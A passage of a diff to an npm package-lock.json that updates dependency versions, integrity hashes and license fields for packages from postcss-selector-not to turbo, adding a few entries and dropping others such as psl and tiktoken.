"resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.2.tgz",
@@ -35470,24 +37518,45 @@
}
},
"node_modules/postcss-selector-not": {
- "version": "7.0.1",
- "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-7.0.1.tgz",
- "integrity": "sha512-1zT5C27b/zeJhchN7fP0kBr16Cc61mu7Si9uWWLoA3Px/D9tIJPKchJCkUH3tPO5D0pCFmGeApAv8XpXBQJ8SQ==",
+ "version": "9.0.0",
+ "resolved": "https://registry.npmjs.org/postcss-selector-not/-/postcss-selector-not-9.0.0.tgz",
+ "integrity": "sha512-xhAtTdHnVU2M/CrpYOPyRUvg3njhVlKmn2GNYXDaRJV9Ygx4d5OkSkc7NINzjUqnbDFtaKXlISOBeyMXU/zyFQ==",
"dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/csstools"
+ },
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/csstools"
+ }
+ ],
+ "license": "MIT",
"dependencies": {
- "postcss-selector-parser": "^6.0.10"
+ "postcss-selector-parser": "^7.1.1"
},
"engines": {
- "node": "^14 || ^16 || >=18"
- },
- "funding": {
- "type": "opencollective",
- "url": "https://opencollective.com/csstools"
+ "node": ">=20.19.0"
},
"peerDependencies": {
"postcss": "^8.4"
}
},
+ "node_modules/postcss-selector-not/node_modules/postcss-selector-parser": {
+ "version": "7.1.1",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.1.tgz",
+ "integrity": "sha512-orRsuYpJVw8LdAwqqLykBj9ecS5/cRHlI5+nvTo8LcCKmzDmqVORXtOIYEEQuL9D4BxtA1lm5isAqzQZCoQ6Eg==",
+ "dev": true,
+ "license": "MIT",
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
"node_modules/postcss-selector-parser": {
"version": "6.0.15",
"resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.15.tgz",
@@ -35667,6 +37736,7 @@
"resolved": "https://registry.npmjs.org/pretty-bytes/-/pretty-bytes-6.1.1.tgz",
"integrity": "sha512-mQUvGU6aUFQ+rNvTIAcZuWGRT9a6f6Yrg9bHs4ImKF+HZCEK+plBvnAZYSIQztknZF2qnzNtr6F8s0+IuptdlQ==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": "^14.13.1 || >=16.0.0"
},
@@ -35705,6 +37775,7 @@
"resolved": "https://registry.npmjs.org/process/-/process-0.11.10.tgz",
"integrity": "sha512-cdGef/drWFoydD1JsMzuFf8100nZl+GT+yacc2bEced5f9Rjk4z+WtFUTBu9PhOi9j/jfmBPu0mMEY4wIdAF8A==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">= 0.6.0"
}
@@ -35713,7 +37784,6 @@
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
"integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
- "dev": true,
"license": "MIT"
},
"node_modules/promise.series": {
@@ -35796,12 +37866,6 @@
"integrity": "sha512-b/YwNhb8lk1Zz2+bXXpS/LK9OisiZZ1SNsSLxN1x2OXVEhW2Ckr/7mWE5vrC1ZTiJlD9g19jWszTmJsB+oEpFQ==",
"license": "ISC"
},
- "node_modules/psl": {
- "version": "1.9.0",
- "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
- "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==",
- "dev": true
- },
"node_modules/pstree.remy": {
"version": "1.1.8",
"resolved": "https://registry.npmjs.org/pstree.remy/-/pstree.remy-1.1.8.tgz",
@@ -35824,9 +37888,9 @@
}
},
"node_modules/public-encrypt/node_modules/bn.js": {
- "version": "4.12.2",
- "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
- "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+ "version": "4.12.3",
+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.3.tgz",
+ "integrity": "sha512-fGTi3gxV/23FTYdAoUtLYp6qySe2KE3teyZitipKNRuVYcBkoP/bB3guXN/XVKUe9mxCHXnc9C4ocyz8OmgN0g==",
"dev": true,
"license": "MIT"
},
@@ -35847,9 +37911,9 @@
}
},
"node_modules/qs": {
- "version": "6.14.1",
- "resolved": "https://registry.npmjs.org/qs/-/qs-6.14.1.tgz",
- "integrity": "sha512-4EK3+xJl8Ts67nLYNwqw/dsFVnCf+qR7RgXSK9jEEm9unao3njwMDdmsdvoKBKHzxd7tCYz5e5M+SnMjdtXGQQ==",
+ "version": "6.15.0",
+ "resolved": "https://registry.npmjs.org/qs/-/qs-6.15.0.tgz",
+ "integrity": "sha512-mAZTtNCeetKMH+pSjrb76NAM8V9a05I9aBZOHztWy/UqcJdQYNsf59vrRKWnojAT9Y+GbIvoTBC++CPHqpDBhQ==",
"license": "BSD-3-Clause",
"dependencies": {
"side-channel": "^1.1.0"
@@ -35870,12 +37934,6 @@
"node": ">=0.4.x"
}
},
- "node_modules/querystringify": {
- "version": "2.2.0",
- "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
- "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
- "dev": true
- },
"node_modules/queue-microtask": {
"version": "1.2.3",
"resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
@@ -36165,19 +38223,6 @@
"integrity": "sha512-/LLMVyas0ljjAtoYiPqYiL8VWXzUUdThrmU5+n20DZv+a+ClRoevUzw5JxU+Ieh5/c87ytoTBV9G1FiKfNJdmg==",
"license": "MIT"
},
- "node_modules/react-lazy-load-image-component": {
- "version": "1.6.0",
- "resolved": "https://registry.npmjs.org/react-lazy-load-image-component/-/react-lazy-load-image-component-1.6.0.tgz",
- "integrity": "sha512-8KFkDTgjh+0+PVbH+cx0AgxLGbdTsxWMnxXzU5HEUztqewk9ufQAu8cstjZhyvtMIPsdMcPZfA0WAa7HtjQbBQ==",
- "dependencies": {
- "lodash.debounce": "^4.0.8",
- "lodash.throttle": "^4.1.1"
- },
- "peerDependencies": {
- "react": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x",
- "react-dom": "^15.x.x || ^16.x.x || ^17.x.x || ^18.x.x"
- }
- },
"node_modules/react-lifecycles-compat": {
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/react-lifecycles-compat/-/react-lifecycles-compat-3.0.4.tgz",
@@ -36328,6 +38373,16 @@
"url": "https://opencollective.com/unified"
}
},
+ "node_modules/react-refresh": {
+ "version": "0.18.0",
+ "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.18.0.tgz",
+ "integrity": "sha512-QgT5//D3jfjJb6Gsjxv0Slpj23ip+HtOpnNgnb2S5zU3CB26G/IDPGoy4RJB42wzFE46DRsstbW6tKHoKbhAxw==",
+ "dev": true,
+ "license": "MIT",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
"node_modules/react-remove-scroll": {
"version": "2.5.5",
"resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz",
@@ -36534,21 +38589,6 @@
"node": ">= 6"
}
},
- "node_modules/readable-web-to-node-stream": {
- "version": "3.0.2",
- "resolved": "https://registry.npmjs.org/readable-web-to-node-stream/-/readable-web-to-node-stream-3.0.2.tgz",
- "integrity": "sha512-ePeK6cc1EcKLEhJFt/AebMCLL+GgSKhuygrZ/GLaKZYEecIgIECf4UaUuaByiGtzckwR4ain9VzUh95T1exYGw==",
- "dependencies": {
- "readable-stream": "^3.6.0"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/Borewit"
- }
- },
"node_modules/readdirp": {
"version": "3.6.0",
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz",
@@ -37396,12 +39436,6 @@
"node": ">=0.10.5"
}
},
- "node_modules/requires-port": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/requires-port/-/requires-port-1.0.0.tgz",
- "integrity": "sha512-KigOCHcocU3XODJxsu8i/j8T9tzT4adHiecwORRQ0ZZFcp7ahwXuRU1m+yuO90C5ZUyGeGfocHDI14M3L3yDAQ==",
- "dev": true
- },
"node_modules/resolve": {
"version": "1.22.8",
"resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz",
@@ -37575,12 +39609,12 @@
}
},
"node_modules/rimraf/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -37656,13 +39690,13 @@
"license": "Unlicense"
},
"node_modules/rollup": {
- "version": "4.37.0",
- "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.37.0.tgz",
- "integrity": "sha512-iAtQy/L4QFU+rTJ1YUjXqJOJzuwEghqWzCEYD2FEghT7Gsy1VdABntrO4CLopA5IkflTyqNiLNwPcOJ3S7UKLg==",
+ "version": "4.59.0",
+ "resolved": "https://registry.npmjs.org/rollup/-/rollup-4.59.0.tgz",
+ "integrity": "sha512-2oMpl67a3zCH9H79LeMcbDhXW/UmWG/y2zuqnF2jQq5uq9TbM9TVyXvA4+t+ne2IIkBdrLpAaRQAvo7YI/Yyeg==",
"dev": true,
"license": "MIT",
"dependencies": {
- "@types/estree": "1.0.6"
+ "@types/estree": "1.0.8"
},
"bin": {
"rollup": "dist/bin/rollup"
@@ -37672,26 +39706,31 @@
"npm": ">=8.0.0"
},
"optionalDependencies": {
- "@rollup/rollup-android-arm-eabi": "4.37.0",
- "@rollup/rollup-android-arm64": "4.37.0",
- "@rollup/rollup-darwin-arm64": "4.37.0",
- "@rollup/rollup-darwin-x64": "4.37.0",
- "@rollup/rollup-freebsd-arm64": "4.37.0",
- "@rollup/rollup-freebsd-x64": "4.37.0",
- "@rollup/rollup-linux-arm-gnueabihf": "4.37.0",
- "@rollup/rollup-linux-arm-musleabihf": "4.37.0",
- "@rollup/rollup-linux-arm64-gnu": "4.37.0",
- "@rollup/rollup-linux-arm64-musl": "4.37.0",
- "@rollup/rollup-linux-loongarch64-gnu": "4.37.0",
- "@rollup/rollup-linux-powerpc64le-gnu": "4.37.0",
- "@rollup/rollup-linux-riscv64-gnu": "4.37.0",
- "@rollup/rollup-linux-riscv64-musl": "4.37.0",
- "@rollup/rollup-linux-s390x-gnu": "4.37.0",
- "@rollup/rollup-linux-x64-gnu": "4.37.0",
- "@rollup/rollup-linux-x64-musl": "4.37.0",
- "@rollup/rollup-win32-arm64-msvc": "4.37.0",
- "@rollup/rollup-win32-ia32-msvc": "4.37.0",
- "@rollup/rollup-win32-x64-msvc": "4.37.0",
+ "@rollup/rollup-android-arm-eabi": "4.59.0",
+ "@rollup/rollup-android-arm64": "4.59.0",
+ "@rollup/rollup-darwin-arm64": "4.59.0",
+ "@rollup/rollup-darwin-x64": "4.59.0",
+ "@rollup/rollup-freebsd-arm64": "4.59.0",
+ "@rollup/rollup-freebsd-x64": "4.59.0",
+ "@rollup/rollup-linux-arm-gnueabihf": "4.59.0",
+ "@rollup/rollup-linux-arm-musleabihf": "4.59.0",
+ "@rollup/rollup-linux-arm64-gnu": "4.59.0",
+ "@rollup/rollup-linux-arm64-musl": "4.59.0",
+ "@rollup/rollup-linux-loong64-gnu": "4.59.0",
+ "@rollup/rollup-linux-loong64-musl": "4.59.0",
+ "@rollup/rollup-linux-ppc64-gnu": "4.59.0",
+ "@rollup/rollup-linux-ppc64-musl": "4.59.0",
+ "@rollup/rollup-linux-riscv64-gnu": "4.59.0",
+ "@rollup/rollup-linux-riscv64-musl": "4.59.0",
+ "@rollup/rollup-linux-s390x-gnu": "4.59.0",
+ "@rollup/rollup-linux-x64-gnu": "4.59.0",
+ "@rollup/rollup-linux-x64-musl": "4.59.0",
+ "@rollup/rollup-openbsd-x64": "4.59.0",
+ "@rollup/rollup-openharmony-arm64": "4.59.0",
+ "@rollup/rollup-win32-arm64-msvc": "4.59.0",
+ "@rollup/rollup-win32-ia32-msvc": "4.59.0",
+ "@rollup/rollup-win32-x64-gnu": "4.59.0",
+ "@rollup/rollup-win32-x64-msvc": "4.59.0",
"fsevents": "~2.3.2"
}
},
@@ -38003,9 +40042,9 @@
"integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="
},
"node_modules/sax": {
- "version": "1.4.1",
- "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz",
- "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg=="
+ "version": "1.5.0",
+ "resolved": "https://registry.npmjs.org/sax/-/sax-1.5.0.tgz",
+ "integrity": "sha512-21IYA3Q5cQf089Z6tgaUTr7lDAyzoTPx5HRtbhsME8Udispad8dC/+sziTNugOEx54ilvatQ9YCzl4KQLPcRHA=="
},
"node_modules/saxes": {
"version": "6.0.0",
@@ -38102,9 +40141,9 @@
}
},
"node_modules/serialize-javascript": {
- "version": "6.0.2",
- "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-6.0.2.tgz",
- "integrity": "sha512-Saa1xPByTTq2gdeFZYLLo+RFE35NHZkAbqZeWNd3BpzppeVisAqpDjcp8dyf6uIvEqJRd46jemmyA4iFIeVk8g==",
+ "version": "7.0.4",
+ "resolved": "https://registry.npmjs.org/serialize-javascript/-/serialize-javascript-7.0.4.tgz",
+ "integrity": "sha512-DuGdB+Po43Q5Jxwpzt1lhyFSYKryqoNjQSA9M92tyw0lyHIOur+XCalOUe0KTJpyqzT8+fQ5A0Jf7vCx/NKmIg==",
"dev": true,
"dependencies": {
"randombytes": "^2.1.0"
@@ -38176,7 +40215,6 @@
"version": "1.0.5",
"resolved": "https://registry.npmjs.org/setimmediate/-/setimmediate-1.0.5.tgz",
"integrity": "sha512-MATJdZp8sLqDl/68LfQmbP8zKPLQNV6BIZoIgrscFDQ+RsvK/BxeDQOgyxKKoh0y/8h3BqVFnCqQ/gd+reiIXA==",
- "dev": true,
"license": "MIT"
},
"node_modules/setprototypeof": {
@@ -38418,7 +40456,8 @@
"resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz",
"integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==",
"deprecated": "Please use @jridgewell/sourcemap-codec instead",
- "dev": true
+ "dev": true,
+ "license": "MIT"
},
"node_modules/space-separated-tokens": {
"version": "2.0.2",
@@ -38441,7 +40480,6 @@
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.0.3.tgz",
"integrity": "sha512-D9cPgkvLlV3t3IzL0D0YLvGA9Ahk4PcvVwUbN0dSGr1aP0Nrt4AEnTUbuGvquEC0mA64Gqt1fzirlRs5ibXx8g==",
- "dev": true,
"license": "BSD-3-Clause"
},
"node_modules/sse.js": {
@@ -38499,6 +40537,12 @@
"resolved": "https://registry.npmjs.org/standard-as-callback/-/standard-as-callback-2.1.0.tgz",
"integrity": "sha512-qoRRSyROncaz1z0mvYqIE4lCd9p2R90i6GxW3uZv5ucSu8tU7B5HXUP1gG8pVZsYNVaXjk8ClXHPttLyxAL48A=="
},
+ "node_modules/state-local": {
+ "version": "1.0.7",
+ "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz",
+ "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==",
+ "license": "MIT"
+ },
"node_modules/static-browser-server": {
"version": "1.0.3",
"resolved": "https://registry.npmjs.org/static-browser-server/-/static-browser-server-1.0.3.tgz",
@@ -38832,6 +40876,7 @@
"resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
"integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
"dev": true,
+ "license": "BSD-2-Clause",
"dependencies": {
"get-own-enumerable-property-symbols": "^3.0.0",
"is-obj": "^1.0.1",
@@ -38879,6 +40924,7 @@
"resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-2.0.1.tgz",
"integrity": "sha512-ZprKx+bBLXv067WTCALv8SSz5l2+XhpYCsVtSqlMnkAXMWDq+/ekVbl1ghqP9rUHTzv6sm/DwCOiYutU/yp1fw==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=10"
}
@@ -38929,22 +40975,6 @@
],
"license": "MIT"
},
- "node_modules/strtok3": {
- "version": "7.0.0",
- "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-7.0.0.tgz",
- "integrity": "sha512-pQ+V+nYQdC5H3Q7qBZAz/MO6lwGhoC2gOAjuouGf/VO0m7vQRh8QNMl2Uf6SwAtzZ9bOw3UIeBukEGNJl5dtXQ==",
- "dependencies": {
- "@tokenizer/token": "^0.3.0",
- "peek-readable": "^5.0.0"
- },
- "engines": {
- "node": ">=14.16"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/Borewit"
- }
- },
"node_modules/style-inject": {
"version": "0.3.0",
"resolved": "https://registry.npmjs.org/style-inject/-/style-inject-0.3.0.tgz",
@@ -39047,12 +41077,12 @@
}
},
"node_modules/sucrase/node_modules/minimatch": {
- "version": "9.0.5",
- "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz",
- "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==",
+ "version": "9.0.9",
+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz",
+ "integrity": "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==",
"license": "ISC",
"dependencies": {
- "brace-expansion": "^2.0.1"
+ "brace-expansion": "^2.0.2"
},
"engines": {
"node": ">=16 || 14 >=14.17"
@@ -39144,18 +41174,18 @@
}
},
"node_modules/svgo": {
- "version": "2.8.0",
- "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.0.tgz",
- "integrity": "sha512-+N/Q9kV1+F+UeWYoSiULYo4xYSDQlTgb+ayMobAXPwMnLvop7oxKMo9OzIrX5x3eS4L4f2UHhc9axXwY8DpChg==",
+ "version": "2.8.2",
+ "resolved": "https://registry.npmjs.org/svgo/-/svgo-2.8.2.tgz",
+ "integrity": "sha512-TyzE4NVGLUFy+H/Uy4N6c3G0HEeprsVfge6Lmq+0FdQQ/zqoVYB62IsBZORsiL+o96s6ff/V6/3UQo/C0cgCAA==",
"dev": true,
"license": "MIT",
"dependencies": {
- "@trysound/sax": "0.2.0",
"commander": "^7.2.0",
"css-select": "^4.1.3",
"css-tree": "^1.1.3",
"csso": "^4.2.0",
"picocolors": "^1.0.0",
+ "sax": "^1.5.0",
"stable": "^0.1.8"
},
"bin": {
@@ -39379,6 +41409,7 @@
"resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
"integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg==",
"dev": true,
+ "license": "MIT",
"engines": {
"node": ">=8"
}
@@ -39388,6 +41419,7 @@
"resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
"integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
"dev": true,
+ "license": "MIT",
"dependencies": {
"is-stream": "^2.0.0",
"temp-dir": "^2.0.0",
@@ -39401,18 +41433,6 @@
"url": "https://github.com/sponsors/sindresorhus"
}
},
- "node_modules/tempy/node_modules/type-fest": {
- "version": "0.16.0",
- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
- "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg==",
- "dev": true,
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
"node_modules/terser": {
"version": "5.27.0",
"resolved": "https://registry.npmjs.org/terser/-/terser-5.27.0.tgz",
@@ -39518,11 +41538,6 @@
"node": ">=0.8"
}
},
- "node_modules/tiktoken": {
- "version": "1.0.15",
- "resolved": "https://registry.npmjs.org/tiktoken/-/tiktoken-1.0.15.tgz",
- "integrity": "sha512-sCsrq/vMWUSEW29CJLNmPvWxlVp7yh2tlkAjpJltIKqp5CKf98ZNpdeHRmAlPVFlGEbswDc6SmI8vz64W/qErw=="
- },
"node_modules/timers-browserify": {
"version": "2.0.12",
"resolved": "https://registry.npmjs.org/timers-browserify/-/timers-browserify-2.0.12.tgz",
@@ -39552,14 +41567,14 @@
}
},
"node_modules/tinyglobby": {
- "version": "0.2.13",
- "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.13.tgz",
- "integrity": "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw==",
+ "version": "0.2.15",
+ "resolved": "https://registry.npmjs.org/tinyglobby/-/tinyglobby-0.2.15.tgz",
+ "integrity": "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ==",
"dev": true,
"license": "MIT",
"dependencies": {
- "fdir": "^6.4.4",
- "picomatch": "^4.0.2"
+ "fdir": "^6.5.0",
+ "picomatch": "^4.0.3"
},
"engines": {
"node": ">=12.0.0"
@@ -39569,11 +41584,14 @@
}
},
"node_modules/tinyglobby/node_modules/fdir": {
- "version": "6.4.4",
- "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.4.4.tgz",
- "integrity": "sha512-1NZP+GK4GfuAv3PqKvxQRDMjdSRZjnkq7KfhlNrCNNlZ0ygQFpebfrnfnq/W7fpUnAv9aGWmY1zKx7FYL3gwhg==",
+ "version": "6.5.0",
+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
"dev": true,
"license": "MIT",
+ "engines": {
+ "node": ">=12.0.0"
+ },
"peerDependencies": {
"picomatch": "^3 || ^4"
},
@@ -39584,9 +41602,9 @@
}
},
"node_modules/tinyglobby/node_modules/picomatch": {
- "version": "4.0.2",
- "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.2.tgz",
- "integrity": "sha512-M7BAV6Rlcy5u+m6oPhAPFgJTzAioX/6B0DxyvDlo9l8+T3nLKbrczg2WLUyzd45L8RqfUMyGPzekbMvX2Ldkwg==",
+ "version": "4.0.3",
+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-4.0.3.tgz",
+ "integrity": "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q==",
"dev": true,
"license": "MIT",
"engines": {
@@ -39623,9 +41641,9 @@
"dev": true
},
"node_modules/to-buffer": {
- "version": "1.2.1",
- "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.1.tgz",
- "integrity": "sha512-tB82LpAIWjhLYbqjx3X4zEeHN6M8CiuOEy2JY8SEQVdYRe3CCHOFaqrBW1doLDrfpWhplcW7BL+bO3/6S3pcDQ==",
+ "version": "1.2.2",
+ "resolved": "https://registry.npmjs.org/to-buffer/-/to-buffer-1.2.2.tgz",
+ "integrity": "sha512-db0E3UJjcFhpDhAF4tLo03oli3pwl3dbnzXOUIlRKrp+ldk/VUxzpWYZENsw2SZiuBjHAk7DfB0VU7NKdpb6sw==",
"dev": true,
"license": "MIT",
"dependencies": {
@@ -39661,22 +41679,6 @@
"node": ">=0.6"
}
},
- "node_modules/token-types": {
- "version": "5.0.1",
- "resolved": "https://registry.npmjs.org/token-types/-/token-types-5.0.1.tgz",
- "integrity": "sha512-Y2fmSnZjQdDb9W4w4r1tswlMHylzWIeOKpx0aZH9BgGtACHhrk3OkT52AzwcuqTRBZtvvnTjDBh8eynMulu8Vg==",
- "dependencies": {
- "@tokenizer/token": "^0.3.0",
- "ieee754": "^1.2.1"
- },
- "engines": {
- "node": ">=14.16"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/Borewit"
- }
- },
"node_modules/touch": {
"version": "3.1.0",
"resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz",
@@ -39690,39 +41692,28 @@
}
},
"node_modules/tough-cookie": {
- "version": "4.1.3",
- "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
- "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-5.1.2.tgz",
+ "integrity": "sha512-FVDYdxtnj0G6Qm/DhNPSb8Ju59ULcup3tuJxkFb5K8Bv2pUXILbf0xZWU8PX8Ov19OXljbUyveOFwRMwkXzO+A==",
"dev": true,
+ "license": "BSD-3-Clause",
"dependencies": {
- "psl": "^1.1.33",
- "punycode": "^2.1.1",
- "universalify": "^0.2.0",
- "url-parse": "^1.5.3"
+ "tldts": "^6.1.32"
},
"engines": {
- "node": ">=6"
- }
- },
- "node_modules/tough-cookie/node_modules/universalify": {
- "version": "0.2.0",
- "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
- "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==",
- "dev": true,
- "engines": {
- "node": ">= 4.0.0"
+ "node": ">=16"
}
},
"node_modules/tr46": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz",
- "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==",
- "dev": true,
+ "version": "5.1.1",
+ "resolved": "https://registry.npmjs.org/tr46/-/tr46-5.1.1.tgz",
+ "integrity": "sha512-hdF5ZgjTqgAntKkklYw0R03MG2x/bSzTtkxmIRw/sTNV8YXsCJ1tfLAX23lhxhHJlEf3CRCOCGGWw3vI3GaSPw==",
+ "license": "MIT",
"dependencies": {
- "punycode": "^2.1.1"
+ "punycode": "^2.3.1"
},
"engines": {
- "node": ">=12"
+ "node": ">=18"
}
},
"node_modules/traverse": {
@@ -39900,27 +41891,27 @@
"license": "MIT"
},
"node_modules/turbo": {
- "version": "2.8.7",
- "resolved": "https://registry.npmjs.org/turbo/-/turbo-2.8.7.tgz",
- "integrity": "sha512-RBLh5caMAu1kFdTK1jgH2gH/z+jFsvX5rGbhgJ9nlIAWXSvxlzwId05uDlBA1+pBd3wO/UaKYzaQZQBXDd7kcA==",
+ "version": "2.8.12",
+ "resolved": "https://registry.npmjs.org/turbo/-/turbo-2.8.12.tgz",
+ "integrity": "sha512-auUAMLmi0eJhxDhQrxzvuhfEbICnVt0CTiYQYY8WyRJ5nwCDZxD0JG8bCSxT4nusI2CwJzmZAay5BfF6LmK7Hw==",
"dev": true,
"license": "MIT",
"bin": {
"turbo": "bin/turbo"
},
"optionalDependencies": {
- "turbo-darwin-64": "2.8.7",
- "turbo-darwin-arm64": "2.8.7",
- "turbo-linux-64": "2.8.7",
- "turbo-linux-arm64": "2.8.7",
